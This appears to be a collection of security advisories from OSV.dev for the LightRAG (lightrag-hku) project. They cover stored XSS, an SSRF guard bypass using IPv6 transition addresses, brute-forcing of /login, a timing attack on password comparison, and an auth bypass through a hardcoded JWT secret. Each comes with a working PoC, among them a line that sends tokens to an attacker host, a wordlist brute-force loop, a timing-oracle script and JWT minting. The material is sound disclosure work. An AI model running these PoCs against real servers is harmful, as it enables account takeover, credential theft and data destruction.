Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85725 PYSEC-2026-4061 GHSA-c759-cx9p-mrwq Oct 01, 2026

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

5.9 / 10

Medium

Network High None None Unchanged High None None

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85709 PYSEC-2026-4063 GHSA-hrmj-7rvj-4hg8 Oct 01, 2026

lightrag-hku: Sensitive Information Exposure Through Raw Exception Messages in API Error Responses

5.3 / 10

Medium

Network Low None None Unchanged Low None None

Summary

The LightRAG API server passes raw Python exception messages directly into HTTP error responses across 30+ error handlers in every router. When combined with the default unauthenticated configuration (see companion report on CWE-306), any network-reachable client can trigger exceptions whose raw text discloses internal infrastructure — server filesystem paths, database host/port/user, LLM provider error details, and Python library internals. No global exception handler sanitizes error messages before they reach the client.

Details

Throughout the API route handlers, exceptions are caught and their string representation is returned verbatim via detail=str(e) / detail=str(exc) (and f-string variants such as detail=f"...: {str(e)}"). This occurs in every router file. Location breakdown on the current main branch:

HTTP 500 — raw exception passthrough (except Exception as e):

document_routes.py — 13
graph_routes.py — 12 (mix of detail=f"...{str(e)}" and detail=error_msg)
query_routes.py — 3
ollama_api.py — 2
lightrag_server.py — 1 (health endpoint)

HTTP 422 — raw exception passthrough (except ValueError as exc):

document_routes.py — 2 (chunking-config validation)

Total: ~33 raw-exception-to-HTTP-response locations. The only pre-existing custom exception handler in lightrag_server.py is specific to RequestValidationError for /query/data; it does not cover the generic Exception handlers in route code.

Example pattern (document_routes.py, upload handler):

except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {str(e)}")
    raise HTTPException(status_code=500, detail=str(e))

Categories of sensitive information that can leak through these responses:

Server filesystem paths. File-I/O errors from the default JSON storage backend expose the server's directory layout (e.g. [Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'), aiding path-traversal or targeted attacks. (Verified — see PoC Step 1.)
Database host / port / user / database name. Connection errors from the PostgreSQL, MongoDB, Redis, or Neo4j backends surface the target the driver was trying to reach — e.g. asyncpg raises password authentication failed for user "lightrag" (username) or a socket error naming the unreachable host and port. Note on credentials: the PostgreSQL backend uses asyncpg, which is built from keyword parameters and does not echo the password in its exception strings — so a raw asyncpg error leaks host/port/user/db, not the password. URI-configured backends behave differently: the MongoDB backend is built with AsyncMongoClient(MONGO_URI, ...), and a malformed-URI / configuration error from pymongo can surface the connection string itself, which may embed credentials (mongodb://user:password@host:port/). The leak surface is therefore backend- and error-type-dependent.
LLM provider error details. Errors from OpenAI / Gemini / Bedrock and other providers may include model names, organization ids, or partial API error context that reveal the deployment.
Python library internals. Unexpected exceptions expose class names, library-internal messages, and stack fragments that fingerprint the server stack and version.
Configuration details. Errors during configuration/parsing may reveal storage backend types and other configuration values.

The risk is amplified by the default unauthenticated configuration (CWE-306, companion report), which lets any network client trigger and read these errors without credentials.

PoC

Tested on a clean checkout with the [api] extras installed and the server run via lightrag-server.

Step 1 — Filesystem path disclosure (default JSON storage)

With the default storage backend, a file-permission error is returned verbatim:

# Make a storage file unreadable to force an I/O error.
chmod 000 ./rag_storage/default/kv_store_full_docs.json
curl -s http://localhost:9621/documents | python3 -m json.tool

Vulnerable response — the full server-side path is disclosed:

{
    "detail": "[Errno 13] Permission denied: '/app/data/rag_storage/default/kv_store_full_docs.json'"
}

Step 2 — Database infrastructure disclosure (PostgreSQL backend)

Configure a PostgreSQL KV backend pointed at an unreachable / misconfigured host:

LIGHTRAG_KV_STORAGE=PGKVStorage
POSTGRES_HOST=nonexistent-host-12345.example.com
POSTGRES_PORT=5432
POSTGRES_USER=lightrag
POSTGRES_DATABASE=lightrag

A request that touches storage returns the raw connection error, disclosing the host / port / user the server is configured to reach (the asyncpg password is not echoed — see the credentials note above):

{
    "detail": "[Errno -2] Name or service not known"
}

For a URI-configured backend such as MongoDB (MONGO_URI=mongodb://user:pass@host:port/db), a malformed-URI / configuration error can instead surface the connection string itself, including any embedded credentials.

Impact

Error-message information exposure. A client able to reach the LightRAG server can extract:

Confidentiality (C:L): server filesystem paths, database host/port/user/db, LLM provider configuration hints, and Python stack internals from raw exception messages; for URI-configured backends, potentially the connection string (with embedded credentials).
Escalation risk: leaked hosts/paths aid follow-on attacks; a leaked connection URI could enable direct database access if the database is network-reachable.

When combined with the default unauthenticated configuration, any network client can trigger and read these responses without authentication, which is why this is scored PR:N.

Suggested remediation

Replace every detail=str(e) / detail=str(exc) pattern with a generic client message. Log the full exception server-side (message + traceback) and return only a generic message plus a correlation id:
```
except Exception as e:
    logger.error(f"Error /documents/upload: {file.filename}: {e!r}")
    raise HTTPException(status_code=500, detail="Internal server error")
```

Register a last-resort global handler as defense-in-depth so any exception that escapes a route is sanitized identically:

@app.exception_handler(Exception)
async def unhandled_exception_handler(request, exc):
    logger.error(f"Unhandled exception: {exc!r}", exc_info=True)
    return JSONResponse(status_code=500, content={"detail": "Internal server error"})

Preserve genuine client-input validation feedback. The two HTTP 422 chunking-config validators emit controlled, non-sensitive messages; keep them as 422 feedback rather than genericizing to 500 — but wrap the raw exception so it is never a bare passthrough.

Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
